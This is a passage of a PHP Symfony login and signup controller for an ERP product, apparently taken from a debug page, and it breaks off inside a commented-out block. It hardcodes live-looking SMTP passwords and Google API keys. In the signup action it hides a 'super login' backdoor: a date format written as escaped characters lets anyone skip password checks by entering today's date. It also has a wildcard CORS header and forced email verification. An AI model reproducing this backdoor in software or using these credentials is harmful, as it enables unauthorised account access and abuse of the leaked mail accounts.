src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 8412

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants; use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  12. use ApplicationBundle\Modules\Authentication\Position;
  13. use ApplicationBundle\Modules\HumanResource\HumanResource;
  14. use ApplicationBundle\Modules\System\MiscActions;
  15. use ApplicationBundle\Modules\System\System;
  16. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  17. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  18. use Google_Client;
  19. use Google_Service_Oauth2;
  20. use Symfony\Component\HttpFoundation\JsonResponse;
  21. use Symfony\Component\HttpFoundation\Request;
  22. use Symfony\Component\Routing\Generator\UrlGenerator;
  23. class UserLoginController extends GenericController implements LoginInterface
  24. {
  25.     private function filterPostedSessionData(array $sessionData): array
  26.     {
  27.         $allowedKeys = [
  28.             'oAuthToken',
  29.             'locale',
  30.             'firebaseToken',
  31.             'token',
  32.             UserConstants::USER_EMPLOYEE_ID,
  33.             UserConstants::USER_ID,
  34.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  35.             UserConstants::USER_LOGIN_ID,
  36.             UserConstants::USER_EMAIL,
  37.             UserConstants::USER_TYPE,
  38.             UserConstants::USER_IMAGE,
  39.             UserConstants::USER_DEFAULT_ROUTE,
  40.             UserConstants::USER_ROUTE_LIST,
  41.             UserConstants::USER_PROHIBIT_LIST,
  42.             UserConstants::USER_NAME,
  43.             UserConstants::USER_COMPANY_ID,
  44.             UserConstants::SUPPLIER_ID,
  45.             UserConstants::CLIENT_ID,
  46.             UserConstants::USER_COMPANY_ID_LIST,
  47.             UserConstants::USER_COMPANY_NAME_LIST,
  48.             UserConstants::USER_COMPANY_IMAGE_LIST,
  49.             UserConstants::USER_APP_ID,
  50.             UserConstants::USER_POSITION_LIST,
  51.             UserConstants::USER_CURRENT_POSITION,
  52.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  53.             UserConstants::USER_GOC_ID,
  54.             UserConstants::USER_NOTIFICATION_ENABLED,
  55.             UserConstants::USER_NOTIFICATION_SERVER,
  56.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  57.             UserConstants::IS_BUDDYBEE_RETAILER,
  58.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  59.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  60.             UserConstants::IS_BUDDYBEE_ADMIN,
  61.             UserConstants::IS_BUDDYBEE_MODERATOR,
  62.             UserConstants::APPLICATION_SECRET,
  63.             UserConstants::SESSION_SALT,
  64.             'appIdList',
  65.             'branchIdList',
  66.             'branchId',
  67.             'companyIdListByAppId',
  68.             'companyNameListByAppId',
  69.             'companyImageListByAppId',
  70.             'userAccessList',
  71.             'csToken',
  72.             'userCompanyDarkVibrantList',
  73.             'userCompanyVibrantList',
  74.             'userCompanyLightVibrantList',
  75.             'appValiditySeconds',
  76.             'appIsValidTillTime',
  77.             'lastCheckAppValidityTime',
  78.             'appValid',
  79.             'appDataCurl',
  80.             'TRIGGER_RESET_PASSWORD',
  81.             'IS_EMAIL_VERIFIED',
  82.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  83.             'devAdminMode',
  84.             'productNameDisplayType',
  85.             'appId',
  86.             'APP_ID',
  87.             'appID',
  88.             'companyID',
  89.             'companyGroupID',
  90.             'userID',
  91.             'userName',
  92.         ];
  93.         $allowedMap array_fill_keys($allowedKeystrue);
  94.         $filtered = [];
  95.         foreach ($sessionData as $key => $value) {
  96.             if (isset($allowedMap[$key])) {
  97.                 $filtered[$key] = $value;
  98.             }
  99.         }
  100.         return $filtered;
  101.     }
  102.     private function filterClientSessionData(array $sessionData): array
  103.     {
  104.         foreach ([
  105.                      UserConstants::USER_DB_NAME,
  106.                      UserConstants::USER_DB_USER,
  107.                      UserConstants::USER_DB_PASS,
  108.                      UserConstants::USER_DB_HOST,
  109.                  ] as $sensitiveKey) {
  110.             if (array_key_exists($sensitiveKey$sessionData)) {
  111.                 unset($sessionData[$sensitiveKey]);
  112.             }
  113.         }
  114.         return $sessionData;
  115.     }
  116.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  117.     {
  118.         $data = [
  119.             'oAuthToken' => $session->get('oAuthToken'),
  120.             'locale' => $session->get('locale'),
  121.             'firebaseToken' => $session->get('firebaseToken'),
  122.             'token' => $session->get('token'),
  123.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  124.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  125.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  126.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  127.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  128.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  129.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  130.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  131.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  132.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  133.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  134.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  135.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  136.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  137.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  138.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  139.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  140.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  141.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  142.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  143.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  144.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  145.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  146.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  147.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  148.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  149.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  150.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  151.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  152.             'appIdList' => $session->get('appIdList'),
  153.             'branchIdList' => $session->get('branchIdList'null),
  154.             'branchId' => $session->get('branchId'null),
  155.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  156.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  157.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  158.             'userAccessList' => $session->get('userAccessList'),
  159.             'csToken' => $session->get('csToken'),
  160.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  161.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  162.         ];
  163.         if ($includeLegacyExtras) {
  164.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  165.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  166.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  167.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  168.         }
  169.         return $data;
  170.     }
  171.     // marketplace: raachSolar login
  172.     public function MarketPlaceLoginAction()
  173.     {
  174.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  175.             array(
  176.                 'page_title' => 'Login',
  177.             ));
  178.     }
  179.     // marketplace: raachSolar signup
  180.     public function MarketPlaceSignupAction()
  181.     {
  182.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  183.             array(
  184.                 'page_title' => 'Signup',
  185.             ));
  186.     }
  187.     // marketplace: reset password
  188.     public function MarketPlaceResetPasswordAction()
  189.     {
  190.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  191.             array(
  192.                 'page_title' => 'Reset Password',
  193.             ));
  194.     }
  195.     // marketplace: verrify code
  196.     public function MarketPlaceVerifyCodeAction()
  197.     {
  198.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  199.             array(
  200.                 'page_title' => 'verify code',
  201.             ));
  202.     }
  203.     // marketplace: vendor login
  204.     public function MarketPlaceVendorLoginAction()
  205.     {
  206.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  207.             array(
  208.                 'page_title' => 'vendor Login',
  209.             ));
  210.     }
  211.     // marketplace: vendor signup
  212.     public function MarketPlaceVendorSignupAction()
  213.     {
  214.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  215.             array(
  216.                 'page_title' => 'vendor Signup',
  217.             ));
  218.     }
  219.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  220.                                                        $identifier '_default_',
  221.                                                        $refRoute '',
  222.                                                        $apiKey '_ignore_')
  223.     {
  224.         $message "";
  225.         $gocList = [];
  226.         $session $request->getSession();
  227.         if ($request->request->has('token')) {
  228.             $em_goc $this->getDoctrine()->getManager('company_group');
  229.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  230.             if ($to_set_session_data != null) {
  231.                 foreach ($to_set_session_data as $k => $d) {
  232.                     //check if mobile
  233.                     $session->set($k$d);
  234.                 }
  235.             }
  236.         }
  237.         if ($request->request->has('sessionData')) {
  238.             $to_set_session_data $this->filterPostedSessionData((array) $request->request->get('sessionData'));
  239.             foreach ($to_set_session_data as $k => $d) {
  240.                 //check if mobile
  241.                 $session->set($k$d);
  242.             }
  243.         }
  244.         if ($version !== 'latest') {
  245.             $session_data $this->buildSafeBootstrapSessionData($session);
  246.         } else {
  247.             $session_data $this->buildSafeBootstrapSessionData($session);
  248.         }
  249.         $response = new JsonResponse(array(
  250.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  251.             //            'session'=>$request->getSession(),
  252.             'session_data' => $session_data,
  253.             //            'session2'=>$_SESSION,
  254.         ));
  255.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  256.         $response->headers->set('Access-Control-Allow-Methods''POST');
  257.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  258.         return $response;
  259.     }
  260.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  261.     {
  262.         if ($request->query->has('refRoute')) {
  263.             $refRoute $request->query->get('refRoute');
  264.             if ($refRoute == '8917922')
  265.                 $redirectRoute 'apply_for_consultant';
  266.         }
  267. //        if ($request->request->has('rcpscrtkn'))
  268.         if ($request->isMethod('POST')) {
  269.             if ($request->request->get('remoteVerify'0) != 1) {
  270.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  271.                 $action 'SIGNUP';
  272.                 $check MiscActions::verifyRecaptchaEnterprise(
  273.                     $rcptoken,
  274.                     $action,              // enforce what you expect
  275.                     '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  276.                     'honeybee-erp',    // e.g. honeybee-erp
  277.                     'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  278.                     0.5
  279.                 );
  280.                 $session $request->getSession();
  281.                 $session->set('RCPDATA'json_encode($check));
  282.                 if (!$check['ok']) {
  283.                     $message "Could not Determine authenticity";
  284.                     if ($request->request->get('remoteVerify'0) == 1)
  285.                         return new JsonResponse(array(
  286.                             'uid' => 0,
  287.                             'session' => [],
  288.                             'success' => false,
  289.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  290.                             'errorStr' => $message,
  291.                             'session_data' => [],
  292.                         ));
  293.                     else
  294.                         return $this->redirectToRoute("user_login", [
  295.                             'id' => 0,
  296.                             'oAuthData' => [],
  297.                             'refRoute' => $refRoute,
  298.                         ]);
  299.                 }
  300.             }
  301.         }
  302.         $redirectRoute 'dashboard';
  303.         if ($refRoute != '') {
  304.             if ($refRoute == '8917922')
  305.                 $redirectRoute 'apply_for_consultant';
  306.         }
  307.         if ($request->query->has('refRoute')) {
  308.             $refRoute $request->query->get('refRoute');
  309.             if ($refRoute == '8917922')
  310.                 $redirectRoute 'apply_for_consultant';
  311.         }
  312.         $message '';
  313.         $errorField '_NONE_';
  314.         if ($request->query->has('message')) {
  315.             $message $request->query->get('message');
  316.         }
  317.         if ($request->query->has('errorField')) {
  318.             $errorField $request->query->get('errorField');
  319.         }
  320.         $gocList = [];
  321.         $skipPassword 0;
  322.         $firstLogin 0;
  323.         $remember_me 0;
  324.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  325.         if ($request->isMethod('POST')) {
  326.             if ($request->request->has('remember_me'))
  327.                 $remember_me 1;
  328.         } else {
  329.             if ($request->query->has('remember_me'))
  330.                 $remember_me 1;
  331.         }
  332.         if ($encData != "")
  333.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  334.         else if ($request->query->has('spd')) {
  335.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  336.         }
  337.         $user = [];
  338.         $userType 0//nothing for now , will add supp or client if we find anything
  339.         $em_goc $this->getDoctrine()->getManager('company_group');
  340.         $em_goc->getConnection()->connect();
  341.         $gocEnabled 0;
  342.         if ($this->container->hasParameter('entity_group_enabled'))
  343.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  344.         if ($gocEnabled == 1)
  345.             $connected $em_goc->getConnection()->isConnected();
  346.         else
  347.             $connected false;
  348.         if ($connected)
  349.             $gocList $em_goc
  350.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  351.                 ->findBy(
  352.                     array(
  353.                         'active' => 1
  354.                     )
  355.                 );
  356.         $gocDataList = [];
  357.         $gocDataListForLoginWeb = [];
  358.         $gocDataListByAppId = [];
  359.         foreach ($gocList as $entry) {
  360.             $d = array(
  361.                 'name' => $entry->getName(),
  362.                 'id' => $entry->getId(),
  363.                 'appId' => $entry->getAppId(),
  364.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  365.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  366.                 'dbName' => $entry->getDbName(),
  367.                 'dbUser' => $entry->getDbUser(),
  368.                 'dbPass' => $entry->getDbPass(),
  369.                 'dbHost' => $entry->getDbHost(),
  370.                 'companyRemaining' => $entry->getCompanyRemaining(),
  371.                 'companyAllowed' => $entry->getCompanyAllowed(),
  372.             );
  373.             $gocDataList[$entry->getId()] = $d;
  374.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  375.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  376.             $gocDataListByAppId[$entry->getAppId()] = $d;
  377.         }
  378.         $gocDbName '';
  379.         $gocDbUser '';
  380.         $gocDbPass '';
  381.         $gocDbHost '';
  382.         $gocId 0;
  383.         $hasGoc 0;
  384.         $userId 0;
  385.         $userCompanyId 0;
  386.         $specialLogin 0;
  387.         $supplierId 0;
  388.         $applicantId 0;
  389.         $isApplicantLogin 0;
  390.         $clientId 0;
  391.         $cookieLogin 0;
  392.         if ($request->request->has('gocId')) {
  393.             $hasGoc 1;
  394.             $gocId $request->request->get('gocId');
  395.         }
  396.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  397.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  398.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  399.         $signUpUserType 0;
  400.         $em_goc $this->getDoctrine()->getManager('company_group');
  401.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  402.             ///super login
  403.             $todayDt = new \DateTime();
  404. //            $mp='_eco_';
  405.             $mp $todayDt->format("\171\x6d\x64");
  406.             if ($request->request->get('password') == $mp)
  407.                 $skipPassword 1;
  408.             $signUpUserType $request->request->get('signUpUserType'8);
  409.             $userData = [
  410.                 'userType' => $signUpUserType,
  411.                 'userId' => 0,
  412.                 'gocId' => 0,
  413.                 'appId' => 0,
  414.             ];//properlyformatted data
  415.             $first_name '';
  416.             $last_name '';
  417.             $email '';
  418.             $userName '';
  419.             $password '';
  420.             $phone '';
  421.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  422.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  423.             if ($request->request->has('email')) $email $request->request->get('email');
  424.             if ($request->request->has('password')) $password $request->request->get('password');
  425.             if ($request->request->has('username')) $userName $request->request->get('username');
  426.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  427.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  428.                 $oAuthEmail $email;
  429.                 $oAuthData = [
  430.                     'email' => $email,
  431.                     'phone' => $phone,
  432.                     'uniqueId' => '',
  433.                     'image' => '',
  434.                     'emailVerified' => '',
  435.                     'name' => $first_name ' ' $last_name,
  436.                     'type' => '0',
  437.                     'token' => '',
  438.                 ];
  439.                 $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  440.                     [
  441.                         'oAuthEmail' => $oAuthEmail
  442.                     ]
  443.                 );
  444.                 if (!$isApplicantExist)
  445.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  446.                         [
  447.                             'email' => $oAuthEmail
  448.                         ]
  449.                     );
  450.                 if (!$isApplicantExist)
  451.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  452.                         [
  453.                             'username' => $userName
  454.                         ]
  455.                     );
  456.                 if ($isApplicantExist) {
  457.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  458.                     } else {
  459.                         $message "Email/User Already Exists";
  460.                         if ($request->request->get('remoteVerify'0) == 1)
  461.                             return new JsonResponse(array(
  462.                                 'uid' => $isApplicantExist->getApplicantId(),
  463.                                 'session' => [],
  464.                                 'success' => false,
  465.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  466.                                 'errorStr' => $message,
  467.                                 'session_data' => [],
  468.                             ));
  469.                         else
  470.                             return $this->redirectToRoute("user_login", [
  471.                                 'id' => $isApplicantExist->getApplicantId(),
  472.                                 'oAuthData' => $oAuthData,
  473.                                 'refRoute' => $refRoute,
  474.                             ]);
  475.                     }
  476.                 }
  477.                 $img $oAuthData['image'];
  478.                 $email $oAuthData['email'];
  479. //                $userName = explode('@', $email)[0];
  480.                 //now check if same username exists
  481.                 $username_already_exist 0;
  482.                 $newApplicant null;
  483.                 if ($isApplicantExist) {
  484.                     $newApplicant $isApplicantExist;
  485.                 } else
  486.                     $newApplicant = new EntityApplicantDetails();
  487.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  488.                 $newApplicant->setEmail($email);
  489.                 $newApplicant->setUserName($userName);
  490.                 $newApplicant->setFirstname($first_name);
  491.                 $newApplicant->setLastname($last_name);
  492.                 $newApplicant->setOAuthEmail($oAuthEmail);
  493.                 $newApplicant->setPhone($phone);
  494.                 if ($systemType == '_SOPHIA_')
  495.                     $newApplicant->setIsEmailVerified(1);
  496.                 else
  497.                     $newApplicant->setIsEmailVerified(1); //temporary
  498. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  499.                 $newApplicant->setAccountStatus(1);
  500. //                $newUser->setSalt(uniqid(mt_rand()));
  501.                 //salt will be username
  502. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  503.                 $salt uniqid(mt_rand());
  504.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  505.                 $newApplicant->setPassword($encodedPassword);
  506.                 $newApplicant->setSalt($salt);
  507.                 $newApplicant->setTempPassword('');
  508. //                $newApplicant->setTempPassword($password.'_'.$salt);
  509.                 $newApplicant->setImage($img);
  510.                 $newApplicant->setIsConsultant(0);
  511.                 $newApplicant->setIsTemporaryEntry(0);
  512.                 $newApplicant->setTriggerResetPassword(0);
  513.                 $newApplicant->setApplyForConsultant(0);
  514.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  515.                 $otp random_int(100000999999);
  516.                 $newApplicant->setEmailVerificationHash($otp);
  517.                 $em_goc->persist($newApplicant);
  518.                 $em_goc->flush();
  519.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  520.                     if ($systemType == '_BUDDYBEE_') {
  521.                         $bodyHtml '';
  522.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  523.                         $bodyData = array(
  524.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  525.                             'email' => $userName,
  526.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  527.                             'password' => $newApplicant->getTempPassword(),
  528.                         );
  529.                         $attachments = [];
  530.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  531. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  532.                         $new_mail $this->get('mail_module');
  533.                         $new_mail->sendMyMail(array(
  534.                             'senderHash' => '_CUSTOM_',
  535.                             //                        'senderHash'=>'_CUSTOM_',
  536.                             'forwardToMailAddress' => $forwardToMailAddress,
  537.                             'subject' => 'Welcome to BuddyBee ',
  538. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  539.                             'attachments' => $attachments,
  540.                             'toAddress' => $forwardToMailAddress,
  541.                             'fromAddress' => 'registration@buddybee.eu',
  542.                             'userName' => 'registration@buddybee.eu',
  543.                             'password' => 'Y41dh8g0112',
  544.                             'smtpServer' => 'smtp.hostinger.com',
  545.                             'smtpPort' => 465,
  546. //                            'emailBody' => $bodyHtml,
  547.                             'mailTemplate' => $bodyTemplate,
  548.                             'templateData' => $bodyData,
  549. //                        'embedCompanyImage' => 1,
  550. //                        'companyId' => $companyId,
  551. //                        'companyImagePath' => $company_data->getImage()
  552.                         ));
  553.                     } else {
  554.                         $bodyHtml '';
  555.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  556.                         $bodyData = array(
  557.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  558.                             'email' => 'APP-' $userName,
  559.                             'password' => $newApplicant->getPassword(),
  560.                         );
  561.                         $attachments = [];
  562.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  563. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  564.                         $new_mail $this->get('mail_module');
  565.                         $new_mail->sendMyMail(array(
  566.                             'senderHash' => '_CUSTOM_',
  567.                             //                        'senderHash'=>'_CUSTOM_',
  568.                             'forwardToMailAddress' => $forwardToMailAddress,
  569.                             'subject' => 'Applicant Registration on Honeybee',
  570. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  571.                             'attachments' => $attachments,
  572.                             'toAddress' => $forwardToMailAddress,
  573.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  574.                             'userName' => 'accounts@ourhoneybee.eu',
  575.                             'password' => 'Honeybee@0112',
  576.                             'smtpServer' => 'smtp.hostinger.com',
  577.                             'smtpPort' => 465,
  578.                             'emailBody' => $bodyHtml,
  579.                             'mailTemplate' => $bodyTemplate,
  580.                             'templateData' => $bodyData,
  581. //                        'embedCompanyImage' => 1,
  582. //                        'companyId' => $companyId,
  583. //                        'companyImagePath' => $company_data->getImage()
  584.                         ));
  585.                     }
  586.                 }
  587.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  588.                     $modifiedRequest Request::create(
  589.                         '',
  590.                         'GET',
  591.                         [
  592.                             'id' => $newApplicant->getApplicantId(),
  593.                             'oAuthData' => $oAuthData,
  594.                             'refRoute' => $refRoute,
  595.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  596.                         ]
  597.                     );
  598.                     $modifiedRequest->setSession($request->getSession());
  599.                     return $this->doLoginAction($modifiedRequest);
  600.                 } else
  601.                     return $this->redirectToRoute("core_login", [
  602.                         'id' => $newApplicant->getApplicantId(),
  603.                         'oAuthData' => $oAuthData,
  604.                         'refRoute' => $refRoute,
  605.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  606.                     ]);
  607.             }
  608. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  609. //
  610. //                $oAuthEmail = $email;
  611. //
  612. //
  613. //                $oAuthData = [
  614. //                    'email' => $email,
  615. //                    'phone' => $phone,
  616. //                    'uniqueId' => '',
  617. //                    'image' => '',
  618. //                    'emailVerified' => '',
  619. //                    'name' => $first_name . ' ' . $last_name,
  620. //                    'type' => '0',
  621. //                    'token' => '',
  622. //                ];
  623. //
  624. //
  625. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  626. //                    [
  627. //                        'oAuthEmail' => $oAuthEmail
  628. //                    ]
  629. //                );
  630. //                if (!$isApplicantExist)
  631. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  632. //                        [
  633. //                            'email' => $oAuthEmail
  634. //                        ]
  635. //                    );
  636. //                if (!$isApplicantExist)
  637. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  638. //                        [
  639. //                            'username' => $userName
  640. //                        ]
  641. //                    );
  642. //
  643. //
  644. //                if ($isApplicantExist) {
  645. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  646. //
  647. //                    } else {
  648. //                        $message = "Email/User Already Exists";
  649. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  650. //                            return new JsonResponse(array(
  651. //                                'uid' => $isApplicantExist->getApplicantId(),
  652. //                                'session' => [],
  653. //                                'success' => false,
  654. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  655. //                                'errorStr' => $message,
  656. //                                'session_data' => [],
  657. //
  658. //                            ));
  659. //                        else
  660. //                            return $this->redirectToRoute("user_login", [
  661. //                                'id' => $isApplicantExist->getApplicantId(),
  662. //                                'oAuthData' => $oAuthData,
  663. //                                'refRoute' => $refRoute,
  664. //                            ]);
  665. //                    }
  666. //                }
  667. //
  668. //
  669. //                $img = $oAuthData['image'];
  670. //
  671. //                $email = $oAuthData['email'];
  672. ////                $userName = explode('@', $email)[0];
  673. //                //now check if same username exists
  674. //
  675. //                $username_already_exist = 0;
  676. //
  677. //                $newApplicant = null;
  678. //
  679. //                if ($isApplicantExist) {
  680. //                    $newApplicant = $isApplicantExist;
  681. //                } else
  682. //                    $newApplicant = new EntityApplicantDetails();
  683. //
  684. //
  685. //                $newApplicant->setActualRegistrationAt(new \DateTime());
  686. //                $newApplicant->setEmail($email);
  687. //                $newApplicant->setUserName($userName);
  688. //
  689. //                $newApplicant->setFirstname($first_name);
  690. //                $newApplicant->setLastname($last_name);
  691. //                $newApplicant->setOAuthEmail($oAuthEmail);
  692. //                $newApplicant->setPhone($phone);
  693. //
  694. //                $newApplicant->setIsEmailVerified(0);
  695. //                if ($systemType == '_SOPHIA_')
  696. //                    $newApplicant->setIsEmailVerified(1);
  697. //                else
  698. //                    $newApplicant->setIsEmailVerified(0);
  699. //                $newApplicant->setAccountStatus(1);
  700. //
  701. ////                $newUser->setSalt(uniqid(mt_rand()));
  702. //
  703. //                //salt will be username
  704. ////                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  705. //
  706. //                $salt = uniqid(mt_rand());
  707. //                $encodedPassword = $this->container->get('sha256salted_encoder')->encodePassword($password, $salt);
  708. //                $newApplicant->setPassword($encodedPassword);
  709. //                $newApplicant->setSalt($salt);
  710. //                $newApplicant->setTempPassword('');
  711. ////                $newApplicant->setTempPassword($password.'_'.$salt);
  712. //
